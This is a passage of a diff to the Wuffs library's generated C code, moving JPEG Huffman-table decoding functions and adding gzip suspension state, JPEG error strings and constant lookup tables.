self->private_impl.p_do_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame[0].v_marker = v_marker; ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_flags = v_flags; ++ self->private_data.s_do_transform_io.v_checksum_have = v_checksum_have; ++ self->private_data.s_do_transform_io.v_decoded_length_have = v_decoded_length_have; ++ self->private_data.s_do_transform_io.v_checksum_want = v_checksum_want; + + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -43859,891 +44289,398 @@ wuffs_jpeg__decoder__do_decode_frame( + return status; + } + +-// -------- func jpeg.decoder.decode_dht ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dht( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) + +- uint8_t v_c = 0; +- uint8_t v_tc = 0; +- uint8_t v_th = 0; +- uint8_t v_tc4_th = 0; +- uint32_t v_working_total_count = 0; +- uint32_t v_total_count = 0; +- uint32_t v_i = 0; +- bool v_failed = false; ++// ---------------- Status Codes Implementations + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++const char wuffs_jpeg__error__bad_dht_marker[] = "#jpeg: bad DHT marker"; ++const char wuffs_jpeg__error__bad_dqt_marker[] = "#jpeg: bad DQT marker"; ++const char wuffs_jpeg__error__bad_dri_marker[] = "#jpeg: bad DRI marker"; ++const char wuffs_jpeg__error__bad_sof_marker[] = "#jpeg: bad SOF marker"; ++const char wuffs_jpeg__error__bad_sos_marker[] = "#jpeg: bad SOS marker"; ++const char wuffs_jpeg__error__bad_header[] = "#jpeg: bad header"; ++const char wuffs_jpeg__error__bad_marker[] = "#jpeg: bad marker"; ++const char wuffs_jpeg__error__bad_scan_count[] = "#jpeg: bad scan count"; ++const char wuffs_jpeg__error__missing_huffman_table[] = "#jpeg: missing Huffman table"; ++const char wuffs_jpeg__error__missing_quantization_table[] = "#jpeg: missing Quantization table"; ++const char wuffs_jpeg__error__rejected_progressive_jpeg[] = "#jpeg: rejected progressive JPEG"; ++const char wuffs_jpeg__error__truncated_input[] = "#jpeg: truncated input"; ++const char wuffs_jpeg__error__unsupported_arithmetic_coding[] = "#jpeg: unsupported arithmetic coding"; ++const char wuffs_jpeg__error__unsupported_color_model[] = "#jpeg: unsupported color model"; ++const char wuffs_jpeg__error__unsupported_fractional_sampling[] = "#jpeg: unsupported fractional sampling"; ++const char wuffs_jpeg__error__unsupported_hierarchical_coding[] = "#jpeg: unsupported hierarchical coding"; ++const char wuffs_jpeg__error__unsupported_implicit_height[] = "#jpeg: unsupported implicit height"; ++const char wuffs_jpeg__error__unsupported_lossless_coding[] = "#jpeg: unsupported lossless coding"; ++const char wuffs_jpeg__error__unsupported_marker[] = "#jpeg: unsupported marker"; ++const char wuffs_jpeg__error__unsupported_precision_12_bits[] = "#jpeg: unsupported precision (12 bits)"; ++const char wuffs_jpeg__error__unsupported_precision_16_bits[] = "#jpeg: unsupported precision (16 bits)"; ++const char wuffs_jpeg__error__unsupported_precision[] = "#jpeg: unsupported precision"; ++const char wuffs_jpeg__error__unsupported_scan_count[] = "#jpeg: unsupported scan count"; ++const char wuffs_jpeg__error__internal_error_inconsistent_decoder_state[] = "#jpeg: internal error: inconsistent decoder state"; + +- uint32_t coro_susp_point = self->private_impl.p_decode_dht[0]; +- if (coro_susp_point) { +- v_tc4_th = self->private_data.s_decode_dht[0].v_tc4_th; +- v_total_count = self->private_data.s_decode_dht[0].v_total_count; +- v_i = self->private_data.s_decode_dht[0].v_i; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ---------------- Private Consts + +- if (self->private_impl.f_sof_marker == 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- while (self->private_impl.f_payload_length > 0u) { +- if (self->private_impl.f_payload_length < 17u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= 17u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (((v_c >> 4u) > 1u) || ((v_c & 15u) > 3u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_tc = (v_c >> 4u); +- v_th = (v_c & 15u); +- v_tc4_th = ((uint8_t)(((v_tc * 4u) | v_th))); +- if ((self->private_impl.f_sof_marker == 192u) && ((v_tc4_th & 3u) > 1u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_i = 0u; +- while (v_i < 16u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- self->private_data.f_dht_temp_counts[v_i] = t_1; +- } +- v_i += 1u; +- } +- v_working_total_count = 0u; +- v_i = 0u; +- while (v_i < 16u) { +- v_working_total_count = ((v_working_total_count + ((uint32_t)(self->private_data.f_dht_temp_counts[v_i]))) & 65535u); +- v_i += 1u; +- } +- if ((v_working_total_count <= 0u) || (256u < v_working_total_count)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_total_count = v_working_total_count; +- if (self->private_impl.f_payload_length < v_total_count) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= v_total_count; +- v_i = 0u; +- while (v_i < v_total_count) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = t_2; +- } +- v_i += 1u; +- } +- while (v_i < 256u) { +- self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = 0u; +- v_i += 1u; +- } +- if ((v_tc4_th & 4u) == 0u) { +- v_i = 0u; +- while (v_i < v_total_count) { +- if (self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] > 15u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_i += 1u; +- } +- } +- v_failed = wuffs_jpeg__decoder__calculate_huff_tables(self, v_tc4_th, v_total_count); +- if (v_failed) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- self->private_impl.f_seen_dht[v_tc4_th] = true; +- } ++static const uint8_t ++WUFFS_JPEG__UNZIG[80] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 1u, 8u, 16u, 9u, 2u, 3u, ++ 10u, 17u, 24u, 32u, 25u, 18u, 11u, 4u, ++ 5u, 12u, 19u, 26u, 33u, 40u, 48u, 41u, ++ 34u, 27u, 20u, 13u, 6u, 7u, 14u, 21u, ++ 28u, 35u, 42u, 49u, 56u, 57u, 50u, 43u, ++ 36u, 29u, 22u, 15u, 23u, 30u, 37u, 44u, ++ 51u, 58u, 59u, 52u, 45u, 38u, 31u, 39u, ++ 46u, 53u, 60u, 61u, 54u, 47u, 55u, 62u, ++ 63u, 63u, 63u, 63u, 63u, 63u, 63u, 63u, ++ 63u, 63u, 63u, 63u, 63u, 63u, 63u, 63u, ++}; + +- goto ok; +- ok: +- self->private_impl.p_decode_dht[0] = 0; +- goto exit; +- } ++static const uint8_t ++WUFFS_JPEG__BIAS_AND_CLAMP[1024] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 138u, 139u, 140u, 141u, 142u, 143u, ++ 144u, 145u, 146u, 147u, 148u, 149u, 150u, 151u, ++ 152u, 153u, 154u, 155u, 156u, 157u, 158u, 159u, ++ 160u, 161u, 162u, 163u, 164u, 165u, 166u, 167u, ++ 168u, 169u, 170u, 171u, 172u, 173u, 174u, 175u, ++ 176u, 177u, 178u, 179u, 180u, 181u, 182u, 183u, ++ 184u, 185u, 186u, 187u, 188u, 189u, 190u, 191u, ++ 192u, 193u, 194u, 195u, 196u, 197u, 198u, 199u, ++ 200u, 201u, 202u, 203u, 204u, 205u, 206u, 207u, ++ 208u, 209u, 210u, 211u, 212u, 213u, 214u, 215u, ++ 216u, 217u, 218u, 219u, 220u, 221u, 222u, 223u, ++ 224u, 225u, 226u, 227u, 228u, 229u, 230u, 231u, ++ 232u, 233u, 234u, 235u, 236u, 237u, 238u, 239u, ++ 240u, 241u, 242u, 243u, 244u, 245u, 246u, 247u, ++ 248u, 249u, 250u, 251u, 252u, 253u, 254u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 1u, 2u, 3u, 4u, 5u, 6u, 7u, ++ 8u, 9u, 10u, 11u, 12u, 13u, 14u, 15u, ++ 16u, 17u, 18u, 19u, 20u, 21u, 22u, 23u, ++ 24u, 25u, 26u, 27u, 28u, 29u, 30u, 31u, ++ 32u, 33u, 34u, 35u, 36u, 37u, 38u, 39u, ++ 40u, 41u, 42u, 43u, 44u, 45u, 46u, 47u, ++ 48u, 49u, 50u, 51u, 52u, 53u, 54u, 55u, ++ 56u, 57u, 58u, 59u, 60u, 61u, 62u, 63u, ++ 64u, 65u, 66u, 67u, 68u, 69u, 70u, 71u, ++ 72u, 73u, 74u, 75u, 76u, 77u, 78u, 79u, ++ 80u, 81u, 82u, 83u, 84u, 85u, 86u, 87u, ++ 88u, 89u, 90u, 91u, 92u, 93u, 94u, 95u, ++ 96u, 97u, 98u, 99u, 100u, 101u, 102u, 103u, ++ 104u, 105u, 106u, 107u, 108u, 109u, 110u, 111u, ++ 112u, 113u, 114u, 115u, 116u, 117u, 118u, 119u, ++ 120u, 121u, 122u, 123u, 124u, 125u, 126u, 127u, ++}; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_dht[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_dht[0].v_tc4_th = v_tc4_th; +- self->private_data.s_decode_dht[0].v_total_count = v_total_count; +- self->private_data.s_decode_dht[0].v_i = v_i; ++static const uint16_t ++WUFFS_JPEG__EXTEND[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 65535u, 65533u, 65529u, 65521u, 65505u, 65473u, 65409u, ++ 65281u, 65025u, 64513u, 63489u, 61441u, 57345u, 49153u, 32769u, ++}; + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 1u, 5u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 1u, 2u, 3u, 4u, 5u, 6u, ++ 7u, 8u, 9u, 10u, 11u, ++}; + +- return status; +-} ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 0u, 3u, 1u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 1u, 1u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 1u, 2u, 3u, 4u, 5u, 6u, ++ 7u, 8u, 9u, 10u, 11u, ++}; + +-// -------- func jpeg.decoder.calculate_huff_tables ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 16u, 0u, 2u, 1u, 3u, 3u, 2u, 4u, ++ 3u, 5u, 5u, 4u, 4u, 0u, 0u, 1u, ++ 125u, 1u, 2u, 3u, 0u, 4u, 17u, 5u, ++ 18u, 33u, 49u, 65u, 6u, 19u, 81u, 97u, ++ 7u, 34u, 113u, 20u, 50u, 129u, 145u, 161u, ++ 8u, 35u, 66u, 177u, 193u, 21u, 82u, 209u, ++ 240u, 36u, 51u, 98u, 114u, 130u, 9u, 10u, ++ 22u, 23u, 24u, 25u, 26u, 37u, 38u, 39u, ++ 40u, 41u, 42u, 52u, 53u, 54u, 55u, 56u, ++ 57u, 58u, 67u, 68u, 69u, 70u, 71u, 72u, ++ 73u, 74u, 83u, 84u, 85u, 86u, 87u, 88u, ++ 89u, 90u, 99u, 100u, 101u, 102u, 103u, 104u, ++ 105u, 106u, 115u, 116u, 117u, 118u, 119u, 120u, ++ 121u, 122u, 131u, 132u, 133u, 134u, 135u, 136u, ++ 137u, 138u, 146u, 147u, 148u, 149u, 150u, 151u, ++ 152u, 153u, 154u, 162u, 163u, 164u, 165u, 166u, ++ 167u, 168u, 169u, 170u, 178u, 179u, 180u, 181u, ++ 182u, 183u, 184u, 185u, 186u, 194u, 195u, 196u, ++ 197u, 198u, 199u, 200u, 201u, 202u, 210u, 211u, ++ 212u, 213u, 214u, 215u, 216u, 217u, 218u, 225u, ++ 226u, 227u, 228u, 229u, 230u, 231u, 232u, 233u, ++ 234u, 241u, 242u, 243u, 244u, 245u, 246u, 247u, ++ 248u, 249u, 250u, ++}; ++ ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 17u, 0u, 2u, 1u, 2u, 4u, 4u, 3u, ++ 4u, 7u, 5u, 4u, 4u, 0u, 1u, 2u, ++ 119u, 0u, 1u, 2u, 3u, 17u, 4u, 5u, ++ 33u, 49u, 6u, 18u, 65u, 81u, 7u, 97u, ++ 113u, 19u, 34u, 50u, 129u, 8u, 20u, 66u, ++ 145u, 161u, 177u, 193u, 9u, 35u, 51u, 82u, ++ 240u, 21u, 98u, 114u, 209u, 10u, 22u, 36u, ++ 52u, 225u, 37u, 241u, 23u, 24u, 25u, 26u, ++ 38u, 39u, 40u, 41u, 42u, 53u, 54u, 55u, ++ 56u, 57u, 58u, 67u, 68u, 69u, 70u, 71u, ++ 72u, 73u, 74u, 83u, 84u, 85u, 86u, 87u, ++ 88u, 89u, 90u, 99u, 100u, 101u, 102u, 103u, ++ 104u, 105u, 106u, 115u, 116u, 117u, 118u, 119u, ++ 120u, 121u, 122u, 130u, 131u, 132u, 133u, 134u, ++ 135u, 136u, 137u, 138u, 146u, 147u, 148u, 149u, ++ 150u, 151u, 152u, 153u, 154u, 162u, 163u, 164u, ++ 165u, 166u, 167u, 168u, 169u, 170u, 178u, 179u, ++ 180u, 181u, 182u, 183u, 184u, 185u, 186u, 194u, ++ 195u, 196u, 197u, 198u, 199u, 200u, 201u, 202u, ++ 210u, 211u, 212u, 213u, 214u, 215u, 216u, 217u, ++ 218u, 226u, 227u, 228u, 229u, 230u, 231u, 232u, ++ 233u, 234u, 242u, 243u, 244u, 245u, 246u, 247u, ++ 248u, 249u, 250u, ++}; ++ ++#define WUFFS_JPEG__QUIRKS_BASE 1220532224u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__calculate_huff_tables( ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct( + wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th, +- uint32_t a_total_count) { +- uint32_t v_i = 0; +- uint8_t v_j = 0; +- uint8_t v_k = 0; +- uint32_t v_bit_length_minus_one = 0; +- uint8_t v_bit_length = 0; +- uint32_t v_bit_string = 0; +- uint32_t v_slow = 0; +- uint8_t v_prefix = 0; +- uint16_t v_fast = 0; +- uint32_t v_reps = 0; ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q); + +- v_i = 0u; +- v_k = 0u; +- v_bit_length_minus_one = 0u; +- while (v_i < a_total_count) { +- while (v_k >= self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { +- v_k = 0u; +- v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_k += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- self->private_data.f_dht_temp_bit_lengths[v_i] = ((uint8_t)((v_bit_length_minus_one + 1u))); +- v_i += 1u; +- } +- v_bit_length = 0u; +- v_bit_string = 0u; +- v_i = 0u; +- while (v_i < a_total_count) { +- while (v_bit_length < self->private_data.f_dht_temp_bit_lengths[v_i]) { +- if (v_bit_length >= 16u) { +- return true; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_bit_length += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- v_bit_string <<= 1u; +- } +- self->private_data.f_dht_temp_bit_strings[v_i] = ((uint16_t)(v_bit_string)); +- v_bit_string += 1u; +- if ((v_bit_string >> v_bit_length) > 0u) { +- return true; +- } +- v_i += 1u; +- } +- v_k = 0u; +- v_bit_length_minus_one = 0u; +- while (true) { +- if (self->private_data.f_dht_temp_counts[v_bit_length_minus_one] == 0u) { +- self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = 0u; +- } else { +- v_slow = (255u & ((uint32_t)(((uint32_t)(v_k)) - ((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_k]))))); +- v_k += self->private_data.f_dht_temp_counts[v_bit_length_minus_one]; +- self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = (v_slow | ((((uint32_t)(self->private_data.f_dht_temp_bit_strings[((uint8_t)(v_k - 1u))])) + 1u) << 8u)); +- } +- v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); +- if (v_bit_length_minus_one == 0u) { +- break; +- } +- } +- v_i = 0u; +- while (v_i < 256u) { +- self->private_impl.f_huff_tables_fast[a_tc4_th][v_i] = 65535u; +- v_i += 1u; +- } +- v_j = 0u; +- v_bit_length_minus_one = 0u; +- while (v_bit_length_minus_one < 8u) { +- v_k = 0u; +- while (v_k < self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { +- v_prefix = ((uint8_t)((((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_j])) << (7u - v_bit_length_minus_one)))); +- v_fast = ((uint16_t)(((((uint32_t)((v_bit_length_minus_one + 1u))) << 8u) | ((uint32_t)(self->private_impl.f_huff_tables_symbols[a_tc4_th][v_j]))))); +- v_reps = (((uint32_t)(1u)) << (7u - v_bit_length_minus_one)); +- while (v_reps > 0u) { +- self->private_impl.f_huff_tables_fast[a_tc4_th][v_prefix] = v_fast; +- v_prefix += 1u; +- v_reps -= 1u; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_k += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- v_j += 1u; +- } +- v_bit_length_minus_one += 1u; +- } +- return false; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct__choosy_default( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q); + +-// -------- func jpeg.decoder.decode_sos ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct_x86_avx2( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_sos( ++wuffs_jpeg__decoder__do_decode_image_config( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_my = 0; +- uint32_t v_mx = 0; +- uint32_t v_decode_mcu_result = 0; +- uint32_t v_bitstream_length = 0; +- +- uint32_t coro_susp_point = self->private_impl.p_decode_sos[0]; +- if (coro_susp_point) { +- v_my = self->private_data.s_decode_sos[0].v_my; +- v_mx = self->private_data.s_decode_sos[0].v_mx; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- if (self->private_impl.f_scan_count >= 64u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_scan_count); +- goto exit; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_jpeg__decoder__prepare_scan(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_next_restart_marker = 0u; +- self->private_impl.f_mcu_previous_dc_values[0u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[1u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[2u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[3u] = 0u; +- self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; +- self->private_impl.f_eob_run = 0u; +- self->private_impl.f_bitstream_bits = 0u; +- self->private_impl.f_bitstream_n_bits = 0u; +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = 0u; +- self->private_impl.f_bitstream_padding = 12345u; +- 